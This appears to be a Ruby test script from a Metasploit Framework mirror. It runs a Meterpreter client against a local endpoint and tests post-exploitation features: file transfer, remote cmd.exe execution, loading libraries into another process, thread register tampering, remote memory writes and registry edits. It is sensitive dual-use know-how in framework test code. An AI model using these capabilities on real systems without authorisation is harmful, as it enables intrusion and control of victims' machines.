mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
362 lines
6.8 KiB
Ruby
362 lines
6.8 KiB
Ruby
#!/usr/bin/ruby -I../../lib
|
|
|
|
require 'Rex/Post'
|
|
|
|
netconf = false
|
|
ui = false
|
|
net = false
|
|
fseek = false
|
|
dir = false
|
|
process = true
|
|
registry = false
|
|
copy = false
|
|
|
|
sock = TCPSocket.new('127.0.0.1', 12345)
|
|
client = Rex::Post::Meterpreter::Client.new(sock)
|
|
|
|
client.core.use(
|
|
'Module' => 'Stdapi')
|
|
|
|
puts "Client interface:"
|
|
client.dump_extension_tree.each { |x|
|
|
puts "\t#{x}"
|
|
}
|
|
puts "\n\n"
|
|
|
|
if (net)
|
|
s = client.net.create_channel(
|
|
'PeerHost' => '128.242.160.3',
|
|
'PeerPort' => '80',
|
|
'Proto' => 'tcp')
|
|
|
|
puts "writing 'GET / HTTP/1.0'..."
|
|
s.write("GET / HTTP/1.0\r\n\r\n")
|
|
puts "reading in 20 bytes from the socket:\n#{s.read(20)}"
|
|
|
|
s.close
|
|
end
|
|
|
|
if (copy)
|
|
|
|
puts "Uploading...\n"
|
|
client.fs.file.upload("c:\\personal\\temp\\mirror", "/bin/cat", "/tmp/dog")
|
|
|
|
puts "Downloading...\n"
|
|
client.fs.file.download("/tmp/test", "c:\\personal\\temp\\ati3duag.dll",
|
|
"c:\\personal\\temp\\blah.asm", "c:\\personal\\temp\\boa.tar.gz")
|
|
|
|
end
|
|
|
|
if (netconf)
|
|
|
|
puts "Routes:\n\n"
|
|
client.net.config.each_route { |route|
|
|
puts route.pretty
|
|
}
|
|
|
|
puts "\n\nInterfaces:\n\n"
|
|
|
|
client.net.config.each_interface { |interface|
|
|
puts interface.pretty
|
|
}
|
|
|
|
client.net.config.add_route('1.2.3.4', '255.255.255.255', '127.0.0.1')
|
|
puts "after adding 1.2.3.4 route\n\n"
|
|
client.net.config.each_route { |route|
|
|
puts route.pretty
|
|
}
|
|
client.net.config.remove_route('1.2.3.4', '255.255.255.255', '127.0.0.1')
|
|
puts "after removing 1.2.3.4 route\n\n"
|
|
client.net.config.each_route { |route|
|
|
puts route.pretty
|
|
}
|
|
|
|
end
|
|
|
|
if (ui)
|
|
input = false
|
|
|
|
puts "idle time: #{client.ui.idle_time}"
|
|
|
|
sleep 60
|
|
|
|
puts "idle time: #{client.ui.idle_time}"
|
|
|
|
if (input)
|
|
puts "disabling"
|
|
# client.ui.disable_keyboard
|
|
client.ui.disable_mouse
|
|
|
|
sleep 60
|
|
|
|
puts "enabling"
|
|
# client.ui.enable_keyboard
|
|
client.ui.enable_mouse
|
|
puts "done"
|
|
end
|
|
end
|
|
|
|
if (fseek)
|
|
f = client.fs.file.new("c:\\personal\\temp\\hm.c")
|
|
|
|
puts "current position: #{f.tell}"
|
|
puts "some text:\n#{f.read}"
|
|
puts "current position: #{f.tell}"
|
|
f.seek(0, IO::SEEK_SET)
|
|
puts "current position: #{f.tell}"
|
|
puts "some text again:\n#{f.read}"
|
|
f.seek(40, IO::SEEK_SET)
|
|
puts "eof? #{f.eof}"
|
|
puts "current position: #{f.tell}"
|
|
puts "some text again:\n#{f.read}"
|
|
begin
|
|
puts "some text again:\n#{f.read}"
|
|
puts "some text again:\n#{f.read}"
|
|
rescue EOFError
|
|
puts "got eof"
|
|
rescue
|
|
puts "got other"
|
|
end
|
|
puts "eof? #{f.eof}"
|
|
|
|
end
|
|
|
|
if (dir)
|
|
puts "Testing dir...\n\n"
|
|
|
|
puts "%WINDIR% is #{client.fs.file.expand_path('%WINDIR%')}"
|
|
|
|
puts "Getting contents of C:\\"
|
|
|
|
client.fs.dir.foreach("C:\\") { |name|
|
|
puts "\t#{name}\n"
|
|
}
|
|
|
|
puts "working directory: #{client.fs.dir.pwd}"
|
|
client.fs.dir.chdir("..")
|
|
puts "working directory: #{client.fs.dir.getwd}"
|
|
client.fs.dir.chdir("c:\\windows")
|
|
puts "working directory: #{client.fs.dir.pwd}"
|
|
client.fs.dir.mkdir("c:\\personal\\temp\\tester")
|
|
client.fs.dir.unlink("c:\\personal\\temp\\tester")
|
|
|
|
s = client.fs.filestat.new("C:\\Windows\\notepad.exe")
|
|
|
|
puts s.pretty
|
|
|
|
puts client.fs.file.stat("C:\\windows\\notepad.exe").mtime
|
|
|
|
# open a file and read in some text
|
|
f = client.fs.file.new("C:\\personal\\temp\\hm.c")
|
|
|
|
puts "some text:\n #{f.read}"
|
|
|
|
f.close
|
|
end
|
|
|
|
if (process)
|
|
puts "Testing process...\n\n"
|
|
|
|
puts "exploited pid is #{client.sys.process.getpid}"
|
|
puts "exploited name is #{client.sys.process.open.name}"
|
|
puts "exploited path is #{client.sys.process.open.path}"
|
|
|
|
##
|
|
#
|
|
# enumeration testing
|
|
#
|
|
##
|
|
debug_pid = client.sys.process['calc.exe']
|
|
|
|
puts "pid of calc.exe is #{debug_pid}"
|
|
|
|
#client.sys.process.kill(debug_pid)
|
|
|
|
##
|
|
#
|
|
# Load a library in another process
|
|
#
|
|
##
|
|
|
|
p = client.sys.process.open(debug_pid)
|
|
base = p.image.load('zipfldr.dll')
|
|
|
|
printf "loaded zipfldr.dll into #{p.pid} at %.8x\n", base
|
|
|
|
addr = p.image.get_procedure_address('zipfldr.dll', 'RouteTheCall')
|
|
|
|
printf "addr of RouteTheCall is: %.8x\n", addr
|
|
|
|
p.image.unload(base)
|
|
|
|
puts "unloaded it"
|
|
|
|
##
|
|
#
|
|
# Execution
|
|
#
|
|
##
|
|
|
|
p = client.sys.process.execute("cmd.exe", nil,
|
|
{
|
|
'Channelized' => true
|
|
})
|
|
|
|
d = p.io.read
|
|
|
|
puts "read from cmd.exe:\n#{d}"
|
|
|
|
p.io.write("dir\n")
|
|
|
|
d = p.io.read
|
|
|
|
puts "read from cmd.exe:\n#{d}"
|
|
|
|
##
|
|
#
|
|
# threads
|
|
#
|
|
##
|
|
p = client.sys.process.open(debug_pid)
|
|
|
|
p.thread.each_thread { |id|
|
|
puts "thread id: #{id}"
|
|
|
|
thread = p.thread.open(id)
|
|
|
|
puts "suspending..."
|
|
thread.suspend
|
|
puts "registers:\n"
|
|
puts thread.pretty_regs
|
|
thread.set_regs(
|
|
'eax' => 0x41414141,
|
|
'ebx' => 0xdeadbeef)
|
|
puts thread.pretty_regs
|
|
puts "resuming..."
|
|
thread.resume
|
|
puts "closing..."
|
|
thread.close
|
|
}
|
|
|
|
##
|
|
#
|
|
# code injection
|
|
#
|
|
##
|
|
|
|
#buf = p.memory.allocate(400)
|
|
#p.memory.write(buf, "\xcc")
|
|
#p.thread.create(buf)
|
|
#p.close
|
|
##
|
|
#
|
|
# image testing
|
|
#
|
|
##
|
|
|
|
exp = client.sys.process.open
|
|
|
|
addr = exp.image.load('wininet.dll')
|
|
printf "wininet.dll is loaded at: %.8x\n", addr
|
|
|
|
exp.image.unload(addr)
|
|
|
|
printf "LoadLibraryA is at: %.8x\n", exp.image.get_procedure_address('kernel32.dll', 'LoadLibraryA')
|
|
|
|
printf "ntdll.dll base is at: %.8x\n", exp.image['ntdll.dll']
|
|
|
|
##
|
|
#
|
|
# memory testing
|
|
#
|
|
##
|
|
|
|
p = client.sys.process.open(debug_pid, PROCESS_ALL)
|
|
|
|
addr = p.memory.allocate(400, PROT_WRITE | PROT_READ)
|
|
|
|
printf "allocated memory at %.8x\n", addr
|
|
|
|
p.memory.write(addr, 'this is a test yo')
|
|
|
|
data = p.memory.read(addr, 10)
|
|
|
|
printf "read memory from %.8x (#{data.length}): #{data.to_s}\n", addr
|
|
|
|
info = p.memory.query(addr)
|
|
|
|
printf "addr: %.8x (size=%d, prot=%.8x)\n", addr, info['RegionSize'], info['Protect']
|
|
|
|
if (p.memory.writable?(addr))
|
|
puts "memory is writable like it should be\n"
|
|
end
|
|
|
|
p.memory.protect(addr, info['RegionSize'], PROT_READ)
|
|
|
|
if (!p.memory.writable?(addr))
|
|
puts "memory is NOT writable like it should be\n"
|
|
else
|
|
puts "memory is writable but it should not be\n"
|
|
end
|
|
|
|
begin
|
|
p.memory.write(addr, 'test again')
|
|
rescue
|
|
puts "caught exception like expected during write #{$!}"
|
|
end
|
|
|
|
p.close
|
|
|
|
# attach to the exploited process
|
|
exp = client.sys.process.open
|
|
|
|
addr = exp.memory.allocate(400, PROT_WRITE)
|
|
|
|
exp.memory.lock(addr, 4096)
|
|
exp.memory.unlock(addr, 4096)
|
|
|
|
exp.close
|
|
|
|
end
|
|
|
|
if (registry)
|
|
puts "Testing registry...\n\n"
|
|
|
|
regkey = client.sys.registry.open_key(HKEY_CURRENT_USER,
|
|
'Software', KEY_ALL_ACCESS)
|
|
|
|
puts "hkey is #{regkey.hkey}"
|
|
|
|
regkey.set_value('test123', REG_SZ, 'yo what up')
|
|
regkey.set_value('testdword', REG_DWORD, '666')
|
|
|
|
val = regkey.query_value('test123')
|
|
val2 = regkey.query_value('testdword')
|
|
|
|
puts "value name: #{val.name} type: #{val.type} data: '#{val.data}'"
|
|
puts "value name: #{val2.name} type: #{val2.type} data: '#{val2.data}'"
|
|
|
|
val.set('ho ho ho')
|
|
val.delete
|
|
|
|
regkey.enum_key.each { |key|
|
|
puts "child key: #{key}"
|
|
}
|
|
|
|
regkey.enum_value.each { |value|
|
|
puts "child value: #{value.name}"
|
|
}
|
|
|
|
k = regkey.create_key('TestKey')
|
|
k.close
|
|
regkey.delete_key('TestKey')
|
|
|
|
regkey.close
|
|
end
|
|
|
|
while (true)
|
|
printf("sup\n")
|
|
|
|
select nil, nil, nil, 4
|
|
end
|